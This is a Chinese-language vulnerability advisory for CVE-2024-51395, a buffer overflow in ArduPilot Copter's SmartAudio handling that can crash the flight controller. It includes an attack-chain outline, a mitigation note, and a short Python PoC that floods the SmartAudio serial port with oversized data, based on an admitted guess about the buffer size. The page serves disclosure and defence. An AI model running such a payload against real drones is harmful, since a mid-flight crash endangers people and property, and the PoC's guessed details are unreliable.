IPBUF安全漏洞报告
English
CVE-2024-51395 CVSS 6.2 中危

CVE-2024-51395 ArduPilot缓冲区溢出漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2024-51395
漏洞类型
缓冲区溢出
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ArduPilot Copter

相关标签

Buffer OverflowDoSArduPilotIoTDrone

漏洞概述

ArduPilot Copter在特定提交版本中存在缓冲区溢出漏洞。该漏洞位于AP_SmartAudio相关组件中,攻击者无需认证即可利用该漏洞。由于攻击向量为本地,攻击者可利用此漏洞触发拒绝服务条件,导致无人机控制系统崩溃或不可用,严重影响飞行安全。

技术细节

该漏洞源于ArduPilot的AP_SmartAudio组件在处理SmartAudio协议数据时,未能正确验证输入数据的长度。在AP_SmartAudio::loop函数中,代码将接收到的数据复制到固定大小的缓冲区时,未执行边界检查。本地攻击者可以通过发送超长或恶意构造的数据包到SmartAudio接口,触发缓冲区溢出。由于该组件运行在飞控系统的核心进程中,溢出可能导致内存破坏,进而引发系统崩溃(DoS)。虽然CVSS向量显示无需权限(PR:N),但通常需要物理接触或本地访问串口接口。

攻击链分析

STEP 1
侦察
攻击者识别目标无人机运行的是易受攻击的ArduPilot Copter版本,并确认SmartAudio功能已启用且串口可访问。
STEP 2
交付
攻击者通过物理接触或本地连接,访问SmartAudio组件使用的串行接口(如TTY)。
STEP 3
利用
攻击者向接口发送超长或特制的数据帧,利用AP_SmartAudio::loop中的边界检查缺失,触发缓冲区溢出。
STEP 4
影响
溢出导致飞控系统内存损坏,触发异常或重启,造成拒绝服务(DoS),无人机失去控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2024-51395 (Conceptual) # This script simulates sending a malicious payload to the SmartAudio serial interface. # import serial import time def trigger_dos(serial_port): try: # Open the serial port connected to the SmartAudio VTx ser = serial.Serial(serial_port, baudrate=4800, timeout=1) # Construct a payload that exceeds the buffer size in AP_SmartAudio.cpp # Assuming the buffer is small (e.g., 64 bytes), sending 256 bytes of 'A' malicious_payload = b'\x00' + b'A' * 256 print(f"[*] Sending malicious payload to {serial_port}...") ser.write(malicious_payload) print("[+] Payload sent. Check for system crash/reboot.") ser.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace '/dev/ttyUSB0' with the actual serial device trigger_dos('/dev/ttyUSB0')

影响范围

ArduPilot Copter <= Commit 92693e023793133e49a035daf37c14433e484778

防御指南

临时缓解措施
在无法立即升级固件的情况下,建议在配置中禁用SmartAudio支持以规避漏洞触发路径。同时,应加强对无人机硬件的物理安全管控,防止未授权人员连接调试接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表